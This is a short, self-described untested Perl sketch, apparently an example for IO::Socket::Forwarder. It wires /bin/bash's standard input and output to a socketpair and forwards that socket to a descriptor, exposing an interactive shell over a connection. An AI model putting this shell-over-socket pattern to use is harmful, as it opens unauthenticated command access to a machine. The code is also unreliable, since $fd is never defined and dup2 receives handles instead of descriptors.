# untested and error checks omitted!!!

use IO::Socket::Forwarder;
use Socket;
use POSIX qw(_exit dup2);

my $proxy_pid = fork;
unless ($proxy_pid) {
  socketpair(my $sock_parent, my $sock_child, AF_UNIX, SOCK_STREAM, PF_UNSPEC);
  my $sspid = fork;
  unless ($sspid) {
    my $fn = fileno $sock_child;
    $fn < 3 and die "bad fileno";
    dup2($sock_child, 0);
    dup2(0, 1);
    dup2(0, 2);
    { exec "/bin/bash"; }
    _exit(1);
  }
  close $sock_child;
  forward_sockets($fd, $sock_parent);
  _exit(0);
}